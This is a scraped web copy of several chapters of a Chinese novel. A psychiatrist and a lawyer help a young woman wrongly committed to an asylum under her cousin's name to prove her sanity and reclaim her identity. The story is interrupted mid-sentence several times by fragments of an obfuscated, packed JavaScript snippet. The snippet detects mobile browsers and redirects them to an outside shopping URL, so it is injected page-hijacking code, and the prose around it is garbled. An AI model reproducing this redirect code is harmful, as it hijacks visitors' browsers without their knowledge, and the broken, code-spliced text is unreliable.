很多年前，当唐家明爱上了徐佳佳之后，他就有了结论。他知道，那一天他救下的不是桥上的人来人往，他救下的，只是徐佳佳一人。也就是那个时候，他有了另一个结论，他和他的父亲，是完完全全不同的两个人。他想向世人证明这一点，然后，杨敏拒绝了他。 五年过去了，他想明白了一点，杨敏用满城风雨的办法拒绝了他，达到的效果，就是那个不大不小的小城，都记住了唐家明那张脸。只要他出现在那个城市，就会有人指指点点，就会有好奇的人寻根究底。 是啊，这就是唐家明隐藏最深的秘密了：他必须认定自己的唐家明，他原来有过的另外一个名字，李家明，那是必须要深深的埋进坟墓，永远不再提起。 是的，他明白了沈婷婷的暗示。 “如果你死了，你的墓碑上刻着的名字，仍然是沈婷婷，不是沈依依。你死了，你的墓碑上刻着别人的名字。这就是你的理由，就是你必须要活着的理由。是不是？” 38. 第 38 章 唐家明站在天秤律师事务所的门口。这个地方他来过很多次，事实上，他一次也没有来过。他站在远处，看着这里，一次又一次地幻想着自己若无其事地走进去，走到徐佳佳的办公桌前，问候一声。 “嗨，你还好吧。你还记得我吗？我是唐家明。” 但是，想象和现实，一直都是两回事。 唐家明走到徐佳佳面前，徐佳佳一眼就认出了他。 “唐家明？” “徐佳佳，有件事我想找你帮忙。”他害怕徐佳佳会拒绝，随即又加上了一句，“这种事我不知道应该找谁。我也不相信其他人。” “什么样的事？” “是我的一个病人。对了，我现在是医生。在精神病院。那个地方很适合我。”这一句说得不伦不类，但是徐佳佳也听懂了。 “那个地方，无论是医生还是病人，都不相信别人说的话。只相信自己愿意相信的。”徐佳佳皱着鼻子微微笑了笑。这个小小的表情使得她既任性又可爱。 唐家明是开心的。过去了五年，已经走入社会，开始了工作的徐佳佳仍然是尖锐的，刺猬一样的徐佳佳。他是过来人，活在这个世上，继续尖锐比变得圆滑要困难很多很多。 “说吧，是什么样的事？”徐佳佳说。 “你愿意帮忙？” “你都来找我了，一定是很严重的事。” “如果有一个人，她对着医生说，一夜之间变成了另一个人。她的亲人，她身边所有的人，都说她是另外一个人。你说，到底是这个人疯了，还是她身边的人都疯了？” “唐家明，你是医生，你的关注点是谁是疯子，谁是正常人。我是律师，我的关注点是，有没有人犯法？如果这个女孩是疯子，那么她身边的人，都是守法的公民。如果这个女孩是正常人，那么她身边的人，都是罪犯。” “为什么我觉得为难的事，到了你的眼里反倒成了简单？” “你去调查过了吧？其实你心里早已有了答案。你只是不愿意相信而已。唐家明，你是见识过人性之极恶的，还有什么是你不能相信的？” 沉默了很久，唐家明说出了自己的疑惑。“正因为我是亲眼目睹过极恶之事的，曾经遭遇过极恶之事的虐待，也曾接受过善良之人的帮助和好意。所以，我无法相信，善良的人也会做出极恶之事。事实上，我已经被善良蒙蔽了双眼，我甚至在想，那群善良之人，他们并不是在做一件极恶之事，他们的所作所为仍然是出自善良的本心。” 徐佳佳看完了唐家明带来的病历。 “你的病人，到底是沈婷婷还是沈依依？” “沈依依。” “真正的沈婷婷呢？” “她是大学生，正在上大学。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729762|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “镇长的女儿，是沈婷婷还是沈依依？” “沈婷婷。” “自小失去父亲，母亲不知所踪，与奶奶相依为命的女孩，是沈婷婷还是沈依依？” “沈依依。” “你的决定呢？”徐佳佳问。 “决定？我觉得沈依依很可怜，可是，沈涛，就是沈婷婷的父亲，并不是一个坏人。不对，他不仅不是一个坏人，他是一个好人，一个很好的人。从小学到高中，沈依依的学费生活费都是沈涛资助的。上了初中以后，因为沈涛的妻子刘丽是学校的老师，沈依依更是住在了沈涛的家里，跟沈婷婷同吃同住。但凡有了好吃的，有沈婷婷的一半，就有沈依依的一半。有了新衣服，但凡有沈婷婷的，就必须有沈依依的。” 唐家明滔滔不绝说了很多。徐佳佳也不打断他，就这么让他一直说下去。直到唐家明想了又想，再也想不出还有什么话要说。 徐佳佳问：“唐家明，其实我的问题是，你的决定呢。我并没有问，你的理由是什么？你一直在替沈涛辩护，一直试图向我证明，沈涛是一个好人。你为什么要替沈涛辩护呢？你为什么要证明沈涛是一个好人呢？是不是你的潜意识已经决定了，沈涛是不是好人其实并不是重点，重点是，沈涛不仅仅是做错了事，他已经违反了法律，他也许还是一个好人，但是更多的，他是一个潜在的罪犯。” 39. 第 39 章 人们在什么时候是最孤独的呢？就是明明知道自己是正确的，一旦说出口反倒成了世人眼里的错误和不可饶恕。那个时候是深入骨髓，令人痛不欲生的孤独。 唐家明的内心，欢喜得快要发狂。杨敏对唐家明的抛弃与决绝，内心深处，唐家明其实是找不到为自己辩护的理由的：杨敏是一件温暖得体的大衣，徐佳佳是扎在他心头的刀子，鲜血淋漓。他就在徐佳佳的面前，想着痛痛快快地把心里的话都说出来。五年来，他都压抑在心底的，那些说不出口的压抑，愤怒，以及叛逆。 自从他选择了精神病院，他就远远地站在岸边，唯恐河水打湿了鞋底，其实他是不关心病人们的死活的。他看得出来，能被送来精神病院的，已经是那个疯狂世界的幸运儿了。不幸的那一群人，明明已经疯狂得体无完肤了，还不得不戴上面具，装出安然无恙的样子。他按着教科书的指令行事，不由自主地严格一些，让那些病人们在精神病院里停留的时间更加长久一些。在一个绝大多数都是正常人，或者说被认定是正常的的世界里，其实是不属于精神病人的。他也是一个幸运儿，在他职业生涯刚刚开始还没有走向麻木的时候，沈依依出现了。 唐家明沉默了下来。他回忆过去，青涩的徐佳佳总是微微仰着头，眼睛闪闪发亮，是全然的信任和感动。现在呢，他们是面对面坐着，徐佳佳抿着嘴，眼里是不想掩饰的失望。 “唐家明，你是想让我帮助沈依依吗？” “当然。” “帮到什么程度呢？是帮沈婷婷成精神病院里出来，让所有人都承认沈婷婷是一个正常人。如果仅仅是这样，不需要律师。一个精神科医生，或者说，你的职业技能和你现在所拥有的身份还有地位，足够了。” 徐佳佳提出这个建议的时候，很明显，唐家明能感觉得出来，徐佳佳非常不高兴。 “唐家明，你征求过沈依依的意见吗？你来找我，是她同意的吗？你知道她想要的是什么吗？” 徐佳佳的质问，让唐家明很不舒服。他试图替自己辩解。 “我是为了她好。你没过她，你不知道她在医院自杀，血从病床一直流到了门口。我要是再晚去半小时，她就没命了。” “你救了她的命，所以你就理所当然地认为，你对她的未来，她的人生有了决定的权力，是这样吗？你有同情之心，你有热心助人之心，你在做正确的事。那么，你这样做，跟沈涛又有什么区别呢？唐家明，你为什么总是犯着同样的错误呢？” 唐家明突然地全身一冷。他错了。他为什么要来找徐佳佳而不是其他的律师呢？事实上，他只需要一个专业的律师给他提供专业的解决方案就足够了。为什么是徐佳佳？徐佳佳曾经是唐家明的崇拜者。是他失败彻底只能麻木的人生里唯一满足过的成功。每当他回想起来，就会感受到的幸福。他出现在徐佳佳面前，戴上好人的面具。徐佳佳是他的幸福。唐家明是万万不能失去他的幸福的。 徐佳佳提出要见沈依依一面。唐家明有一种风暴即将来临的无力感——无力拒绝徐佳佳。某种程度而言，徐佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729763|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳和沈依依是同一种动物，她们都是属刺猬的，她们都是这个世界最尖锐把世人也把自己伤害得最深的物种。 唐家明站在自己的办公室门口。徐佳佳和沈依依面对面坐着，中间隔着办公桌。唐家明有一种感觉，徐佳佳不象是来帮助沈依依的，反倒象是来找她谈判的。 “沈依依，我不能保证你的官司能打赢。” “你的官司打输了，所有的后果都由你来承担。也只有你才能承担。对于我，你能做到的最大限度的报复，也就是骂我一句垃圾律师。” “你的官司很大可能是一个漫长而折磨人的过程。时间漫长，所有相关的人，曾经善待过你的人，帮助过你的人，伤害过你的人，他们所做过的每一件事，偶尔或者是无心说过的每一句话，都会被各种各样的人翻出来，编造出来，反复印证。” “沈依依，你将成为风暴的核心，你童年时偷拿过一个橡皮擦，考试时打过小抄，跟人起冲突时没有脑子骂出口的恶毒的话，等等等等，都会单独地挑出来，作为评判你的人品的证据和标准。” “沈依依，你要想清楚。如果你只想从这里出去，我可以代表你去找沈涛谈判，可以皆大欢喜地解决这件事。我甚至可以找沈涛要一笔钱作为对你的赔偿。你还年轻，你可以拿着这笔钱，到另一个城市重新开始。你甚至可以提出要求，要求沈涛出钱给你请最好的补习老师，重新参加高考。也许，你还能考上一个更好的大学。当然，你必须要为此付出代价，那就是，此生此世，你的名字是沈婷婷。” 40. 第 40 章 “沈婷婷，你知道我们生活在一个什么样的世界吗？我们中间的很多人已经不喜欢说，这件事到底是对还是错。我们会衡量，会计算，然后问别人，也问自己，这件事到底是不是值得。” “沈婷婷，你要不要衡量一下，计算一下，成为沈依依到底是值得还是不值得？” “沈婷婷，你觉得沈依依是你与生俱来，本来就属于你的东西。但是我要告诉你的是，在这个世上，乞求别人的同情，索取他人的关心，赢得众人的好感并不困难，拿回本应属于自己的东西，才是最艰难的。绝大多数的人终其一生都未能成功。” 沈婷婷遇到了难题。她说不出话来。 如果她坚持。徐佳佳的话提醒了她，也勾起了她的回忆。她还在母亲肚子里的时候，父亲就去世了。奶奶总是指着一张照片说，看，这个就是你的父亲。她每天都能看到照片，但是她无法把照片里的头像与活生生的人联系起来。从小到大她无数次地幻想过，如果沈涛是她的父亲就好了。小学的时候老师布置了作文，题目是我的父亲。沈婷婷的那篇作文写得很好，充满了感情，事实上她写的就是沈涛。 如果她妥协，那么她费尽艰难走到今天，为的是什么？她漫长的一辈子会不会觉得自己是一个连自己都可以出卖，可以放弃的失败者。 “我想做沈依依。可是，我也不想伤害沈涛，不想伤害他的女儿，他的家人。”沈婷婷说出了心里的话。 “不可能。绝对不可能。”徐佳佳一口否定了沈婷婷的提议。这场对话没有继续下去的意义，她准备离开了。“沈婷婷，我给你三天的时间。你用三天的时间想清楚了再答复我。你要记住，我只是一个律师，我不是什么救世主包青天。你面临的悲惨不是我的责任。你以后的人生是幸福或者是痛苦都跟我没有关系。我不是你的亲人也不是你的朋友，我不会安慰你也不会同情你。我只会在法律的范围之内，做我该做的事，支持你的决定。无论你的决定是什么。” 唐家明一直都在看着徐佳佳，她的脸上没任何表情。从头到尾，她都跟沈婷婷保持着距离，她们两个没有任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729764|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身体接触。哪怕是沈婷婷哭了，眼泪止也止不住。纸巾盒就在徐佳佳的手边，她连把纸巾盒推到沈婷婷面前那样友好的动作，也极其吝啬。她就这么看着沈婷婷在哭，直到唐家明再也看不下去了，走过去把纸巾盒递给了沈婷婷。 唐家明和徐佳佳离开了办公室。唐家明把门关上。但是，隔着门，仍然能听到沈婷婷的哭声。 唐家明觉得他应该对徐佳佳提点建议。徐佳佳这样下去是不行的，会不可爱，不讨人喜欢，说不定还会得罪人。其实就在不久以前，唐家明已经碰过壁了。但是，他还是不死心。又或者他觉得即便是他和徐佳佳的过去不那么令人愉快，但是他们两人还能算得上是朋友。 “佳佳，沈婷婷只有十八岁，还只是一个小姑娘，你就不能友好一点吗？” “我已经非常友好了。” “你说的那些话，叫做非常友好？”唐家明糊涂了。 “是啊，我说的每一句话都是在伤害沈婷婷。但是，自始至终，我有没有跟沈婷婷谈过律师费的问题。” 41. 第 41 章 三天的时间里，唐家明没有打扰沈婷婷。是的，在最后结果出来以前，唐家明决定保持现状，他的病人，仍然叫沈婷婷。 沈婷婷找过唐家明很多次。她在病房里等着她，在电梯口守着，甚至追着到了他的办公室门口。她把他堵在办公室的门口。她抬起头，一脸的渴望，她嘴唇动了动，刚要说话。唐家明已经是逃得飞快。 唐家明坐在草坪上，春天快要过去了，阳光除了灿烂之外，还带着一些懒懒散散，舒服得只想睡觉，不愿意思考。这一切，大概也就是人类愿意放弃艰难，屈从舒适的原因吧。那些自我，那些执念又有什么意义呢？去年整个春天都在下雨，前年整个冬天都没有下雪，于是，大多数人最关心的问题是变成了天气，自我再一次退缩成自不量力的笑话。 人类关心天气，气候，还有地球的未来。仿佛离开了人类的关心，地球就没有了未来。科学们不得不出来讽刺了，地球都存在了50亿年，未来还有50亿年，人类的寿命不过是短短几十年。地球没事，人类还是多关心关心自己吧。 人类啊，还真是胆大妄为。 人类自封为地球的主人，把拯救地球的重任扛在了肩上。 唐家明已经不知道怎么做才是正确的。沈婷婷的遭遇令人同情，但是如果糊涂一点，就象是唐家明他自己一样，忘记自己是谁，忘记年少时那些不切实际的理想与冲动。他所学的，是谋生的技能。按时上班按时下班，日复一日，年复一年。他是医生，他是挽救那些精神病人的医生。他总是想着，十年，二十年，也许是这一辈子，他能够放下心中阴影，坦坦荡荡对人说。 “我叫唐家明。事实上，我不姓唐，我姓李，我是杀人犯的儿子。我不是杀人犯，我是一名医生。” 有时候，唐家明也会笑话自己，他怎么会让自己活成这个样子的？但是一转念，他又问自己，如果不能活成这个样子，他的人生又有什么意义呢？唐家明知道这条路有多难，他内心压抑着的痛苦有多深。无数次，他在梦中惊醒，起床，站在窗前，看那黑沉沉的夜。他想过，无数次地想过，就此抛开一切，就此不管不顾。 三年前，母亲去世了。因为癌症。从他在抽屉的夹层里发现母亲的病历到母亲去世，不过六个月的时间。三个月住在医院，三个月后，母亲坚持要离开医院，放弃医疗。 母亲最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729765|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的遗愿是想好好看看这个世界。 唐家明是想要把母亲留在医院的。作为医生，他是知道的，母亲住在医院不过是拖延时间减轻痛苦罢了。作为儿子，他觉得让老人家呆在医院是一种仪式，一种竭尽所能不放弃一丝希望留住母亲的仪式。如果他放弃了这个仪式，就好像是放弃了母亲的生命，这一辈子他都无法原谅自己。 “我都要走了。我这一辈子从来没有按照自己的心愿活过。从前，是我的父母。你的父亲。后来，是你。我就想着，能按自己的心愿活着，哪怕是一天，也好。” 母亲按着自己的心愿活了三个月。那三个月，母子二人都在假装，假装母亲没有生病，假装不再有明天的柴米油盐。他们去旅行，他们去看花看山看云清晨去看菜市场傍晚去看广场舞。 母亲说：“我怎么觉得活得不象是自己了。” “母亲，你高兴吗？” 母亲想了想。“高兴？大概是吧。应该是的。是啊，我现在挺高兴的，可是，这个高兴的人，是不是不象我了？难道我应该不高兴吗？” 母亲去世了，她自己的问题，她自己没有答案。唐家明，也没有答案。 42. 第 42 章 一个人哭了一辈子，苦了一辈子，生命最后的三个月，有了高兴，就怀疑有资格并且享受着高兴的那个人，是不是自己？ 唐家明希望着，也恐惧着。他希望长久的忍耐能达成那个自我。他恐惧那个漫长的忍耐会让他变得面目全非，不再是自己。 唐家明对于沈婷婷的感觉，也是同样的。他愤怒，他已经没有如此愤怒了，他见惯了坏人作恶。例如他的父亲。坏人作恶，原本是意料中事，厌恶，恨之入骨都是理所当然的。愤怒呢？也许有吧，但是有了心理准备，作好心理建设之后的愤怒，更多的成了一种生活仪式。沈涛是一个好人，在他伤害沈婷婷以前，他是一个符合美好道德价值观的好人。这么一想，唐家明更加愤怒了。他是希望沈婷婷能够勇敢地站出来，沈涛必须为他犯下的错误的付出代价。只有沈涛受到了惩罚，这个世界，才有了希望。人类的希望啊，他们都寄托在好人的身上。 阳光很好，前面不远处，热热闹闹地开了满墙的月季。一朵一朵的鲜艳，从绿色的枝叶中冒出头来。唐家明深深地叹了口气。他这是在做什么呢？他对正义的渴望，寄托在沈婷婷的痛苦身上啊。 三天的时间很快就过去了。一大早，徐佳佳就来了。她站在医院的门口，看着那满墙的月季花。 “真好。”徐佳佳感慨。 “进来吧。”唐家明说。 徐佳佳摇头。“我在这里等着。” 徐佳佳抬手，指着楼房。“那里，那一扇窗户。如果沈婷婷站在窗边，她就能看到我。我要她自己走过来。” “如果她不来呢？”唐家明问。 “那也是她自己的选择，不是吗？” 幸或者不幸，都是人类自己的选择。想通了这一点，唐家明的心情好了很多。 有风吹来，满墙的月季在风中颤抖，空气中弥漫的都是鲜花的香气。 “我母亲去世了。”不知为什么，唐家明对着徐佳佳，倾诉了心事。 徐佳佳没有说话。她在看花。 唐家明就这么继续地说。“她走的时候是早晨，天还没亮。前一天晚上她跟我说早餐想吃豆浆油条。她想吃豆浆油条很久了，我觉得油条不健康，总是不给她吃。她就让护工推着轮椅，偷偷溜去菜市场，停在早餐车旁边。我找到她，她就笑得象个孩子，委屈地说，我没吃，我真的没吃，我就是来闻闻味。事实上那个时候她已经走不动了，也没有了嗅觉。她不过是在假装，假装自己还能闻到炸油条的香味。后来，每天早上，我会把她推到菜市场。我们不赶时间，也没有目的地，就是这么慢慢地走着。遇到一个熟人，会笑一笑，闲聊几句今天的天气不错你家小孩上学了吧之类的废话。经过一个小摊子，会停下来看一看。时间，还有生命，在慢慢地消逝。是不是很浪费？但是这种浪费让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729766|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的内心很平静。一切的咆哮，愤怒，疯狂都在远离。我就是在想，人的生命如果能够就这样，平静地浪费掉，一辈子，也是很幸福的。” “徐佳佳，你说我变了。是啊，我确实变了。我就是觉得，平静地把一辈子都浪费掉，也许，还能找到幸福。” 唐家明不说话了，他抬头，看到了沈婷婷，她走了过来，走到徐佳佳面前，站住。 “我决定了。” “我想要沈涛向我道歉。那是他应该做的。那也是应是我应得的。” “我就想要一个对错。这个世界不能糊里糊涂，应该有对错。” “我是沈依依，我就想做沈依依。我不想做沈婷婷。沈婷婷再好，那都不是我。” 沈婷婷的话，象是一记耳光打在唐家明的脸上。他木在了那里，一动也不动。他听到徐佳佳的声音，仍然是平静得似乎没有任何人类的感情。 “好。我答应你。接下来，我会送你去三家精神病院接受测试，证明你是一个正常人。唐家明。” “唐医生？”徐佳佳又喊了一声。 唐家明回过神来。 “唐先生，你能帮忙吗？” “当然，当然没问题。” “那好，我回去准备相关的手续和资料，这里就拜托你了，唐医生。” 徐佳佳离开的时候，又看了一眼满墙的月季花，她笑了。 43. 第 43 章 唐家明想要调出沈婷婷的详细病历。电脑里找不到。他去找院长，院长笑着说，你说沈婷婷的事吧，没事，这事我知道。就是孩子到了叛逆期不听话，父母怎么管也不听，实在没有了办法，在咱们这里住一段时间，吓唬一下她。小姑娘还只有十八岁，病历档案进了电脑，精神病这种事，沾上了就是一辈子，咱们不能把人的前程毁了是不是。 院长笑呵呵的，唐家明听得出了一身冷汗。把不听话的正常人关进精神病院，把沉迷于上网的孩子送到医生那里电一下，叫做吓唬一下。那么令人厌恶的人送到监狱里关上十年八年，叫什么？教训一下？ 唐家明心里着急，他很清楚，这种时候不能流露出任何不赞同院长观点的表情。幸亏他是个经验丰富的，在脸上露出了笑容，还接着院长的话茬发出了一声叹息。 “唉，现在的孩子啊，还真是不好管。” “谁说不是啊。” 唐家明傻子一样的站在徐佳佳面前。 “我早就应该想到的。如果没有内鬼，怎么会有把正常人送到精神病院这样荒唐的事呢。佳佳，我已经联系了我的老师。他是精神病学的权威。我决定了，把沈婷婷从医院里偷出来送到上海去做全面检查。今晚，就今晚吧，趁他们还没反应过来。医院保安的漏洞，外人不知道，我还是知道的。十二点，你在医院后门的巷口里等着。” 徐佳佳沉默了片刻。“去上海，你要跟我们一起吗？” 唐家明没有听明白。“当然。我跟你们一起找导师。” “你的工作怎么办？” “工作？你是说医院的工作吗？有这样的院长，呆着也没意思，算了，不做了。我跟你们一起去上海。” “我是有把沈婷婷从医院里偷出来送到权威专家那里检查的计划。也想过这个计划必须有你的配合。但是，唐家明，这个官司，整个事件，不能出现你的名字。你要跟这整件事撇清关系。你的名字，无论是任何时候，都不能跟沈婷婷出现在一起。” 仿佛寒冷的冬天，被人当头泼了一桶冰水。身体里流动的不再是热血，而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729767|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺骨的冰寒。 “徐佳佳，你这是什么意思？” 徐佳佳叹了一口气。“唐家明，这件事，陈敏已经答应帮忙了。我们做好了万全的准备。即便是被人发现了也没有关系。陈敏是烈士的女儿，她的生父是英雄，她的养父是一个好人。她现在的职业是学校的老师，几乎年年都被评为先进。孩子们喜欢她，家长们尊敬她。在人们的眼里，她是一个不会做坏事的人。所以，换一个角度来看，这件事情，让陈敏来出面。人们更加愿意相信沈婷婷说的是真话。更加愿意相信，沈婷婷是一个受害者，而不是一个说谎者。” 徐佳佳看着唐家明，感到了疲惫。她不想从自己的嘴里说出伤害唐家明的话。但是，她又不得不暗示，一个令人厌恶的杀人犯的儿子，这样的身份，这样的身世，说出来的任何话所做的任何事，人们本能地会去想一想，这个人到底是什么居心？值得相信吗？人们会怀疑沈婷婷是不是跟唐家明串通的。 “我研究了沈涛，他是一个道德楷模。唐家明，你不是他的对手。” 44. 第 44 章 唐家明在城市里走着。他走得不快，就是不停地走着，往人多的地方走。商场，广场，地铁站，孤独，就在人潮涌动处。当他回到徐佳佳面前，已是精疲力尽，几乎没办法开口说话。他缓慢而清晰表达了自己的愿望。 “沈婷婷的事情我退出。但是，徐佳佳，我跟你已经没有关系了。如果要说亏欠，我亏欠的人是杨敏不是你。我没有亏欠你。相反，我帮过你。即便我的本意不单纯，但我还是帮过你的。所以，我是什么样的人，我要选择什么样的生活方式，我想成为什么样的人，你对我有什么看法，都请你闭嘴。我跟你，没有关系。” 唐家明决定不再想有关徐佳佳，或者是杨敏的事。他已经想明白了，从李庆以那样一种耻辱的方式死去的那一天开始，他把自己也逼成了一个死人。 他在档案室里坐了很久，一天一夜，日落日出，直到院长气急败坏地闯进来。 “唐家明，你做了什么！” “我把沈婷婷的病历录入了系统。”唐家明平静地说。 “你这是要毁了人家小姑娘的一生啊。好好的一个小姑娘，你说人家是精神病。” 唐家明的忍耐已经到了极致，他迅速地伸出手，揪住院长的衣领，把他从档案室一路拖到了走廊。听到动静的同事们都跑了出来。唐家明的样子太吓人，他们都停住了脚步，确保了自己的安全之后，这才嚷嚷起来。 “唐医生，你做什么。” “唐医生，有话好好说，别冲动。” “唐家明，你先把院长放开。他心脏不好。” 大概是过了十多分钟吧。医院的人都围了上来。所有人的注意力都在唐家明身上。沈婷婷换下病号服，换上早就准备好的衣服，趁着混乱，大摇大摆地从大门口走了出去。杨敏和徐佳佳早就在门口等着了。 唐家明给徐佳佳打了电话。“我会用我的方法让沈婷婷从医院里逃走。” 徐佳佳打算多问一句，什么方法。但是，不等徐佳佳说话，唐家明已经挂断了电话。 突然间，徐佳佳有一种感觉，仿佛看到了十年前，那个把她的头按进冰冷河水里的少年，那个愤怒的少年。 唐家明慢慢地放开了院长。他的愤怒是真实的，也是带着目的的。 “你也知道一个好好的小姑娘，被人说成是精神病，一辈子就毁了。那你为什么还要把人关进来？” 院长被放开之后，迅速地躲到了人群后面。勇气重新回到了院长的身上。他说话的声音大了，中气也足了，开始跳起脚来骂人了。 “唐家明，无法无天了你！报警！赶紧报警，让警察把他抓起。” 唐家明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729768|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就等着这句话。“好啊，报警啊。报啊。警察来了我就让他们好好调查，我们的好院长是怎么把正常人关进精神病院。” 院长先是愣了一下，随即笑了。“唐家明你不要胡说八道。你才做了几年医生，沈婷婷到底有没有病，你知道什么！信不信我让你身败名裂，连医生都做不成。” “身败名裂。院长你提醒我了。有件事我一直忘了跟您说。您知道我父亲是什么人吗？” 所有人都愣住了，不过所有的人好像又有点明白。这里是精神病院，本来就是一群奇怪的人聚集在一个奇怪的地方。 “你父亲？你父亲跟这事有关系吗？” “没有关系。我只是突然想告诉大家，我的父亲，他的名字叫李庆，是个杀人犯。不过大家不用害怕，他已经死了。” 唐家明说出了这一句。他走到哪里，同事们都退让一步。他们不敢跟他说话，不敢看着他的眼睛。 深深地吸一口气。把埋在心里的秘密说出来，并没有那么难。阳光照在脸上，也是这人世间的温度。唐家明不由得笑了。原来，世人的目光，世人的看法，世人的评价，因为压抑，因为想象，所以才会恐惧。他把秘密说出来了，他还活着，还会继续活着。 “沈婷婷？沈婷婷在哪里？”院长终于想起了另一个重要的问题。 45. 第 45 章 沈婷婷在上海呆了一个月，拿到了两家医院的诊断证明，都证明了她是正常人。沈婷婷感觉到了前所未有的轻松。从上海回家的路上，她想得很多。回到家乡第一件事，她要去派出所换身份证，换上沈依依的身份证。她去到沈涛的家里，对他说医院已经证明了她是正常人。沈涛跟她道歉。她回答说没关系，我原谅你了。然后她回家，奶奶在家等着她。奶奶应该会做她喜欢吃的菜吧。不过，她还有点担心，离开学校那么久了，还能不能读书？ 对生活的胡思乱想，那种情绪叫做憧憬，或者我们可以换一种说法，叫做希望，对未来的生活充满了希望。 徐佳佳和杨敏看着沈婷婷。她们有很多话要说。但是她们什么话也说不出来。一个对生活充满的希望的人，你对她说，你的艰难困苦甚至是毁灭很可能才刚刚开始。 “你跟她说吧，这事是你惹上身的。再说了，你这样子，更适合当坏人。”杨敏把责任推得干干净净。 “杨敏，在我面前你演什么演，骨子里早就坏透了，一天到晚装好人。你去。你去跟她说。” 徐佳佳和杨敏斗着嘴，心里却是越发地沉重。 “你不去见见他吗？”徐佳佳突然转移了话题。 “谁？” “你知道我说的是谁。” “你还喜欢他吗？”杨敏突然问了另一个问题。 “谁？” “你知道我说的是谁。” 徐佳佳问出了埋藏在心里很久的疑问。 “你把唐家明赶走，是因为我喜欢他，还是因为他喜欢的人是我？” 杨敏瞪了徐佳佳一眼，不管过去多少年，提起这事，杨敏仍然有脾气。 “我赶走唐家明，只有一个原因，徐佳佳，唐家明配不上你。” 杨敏生气了，徐佳佳不敢再问。其实她还有很多问题，这些年，她还是不敢问，她想问有关那个孩子的事。她想要怀疑那个孩子到底是不是唐家明的。又觉得这种怀疑对杨敏太过份。但是如果，那个孩子真的是唐家明的，杨敏如果不爱唐家明，她又怎么会怀上唐家明的孩子。 火车在继续向前，透过车窗看着远方，是稻田，是远山，是蓝天，那是让人心旷神怡的风景，无惊无惧，平安喜乐。 “下了火车之后，你想去哪儿？”杨敏问沈婷婷。 杨敏的这个问题，让沈婷婷很困惑。“我们不去派出所吗？把身份证换过来。” 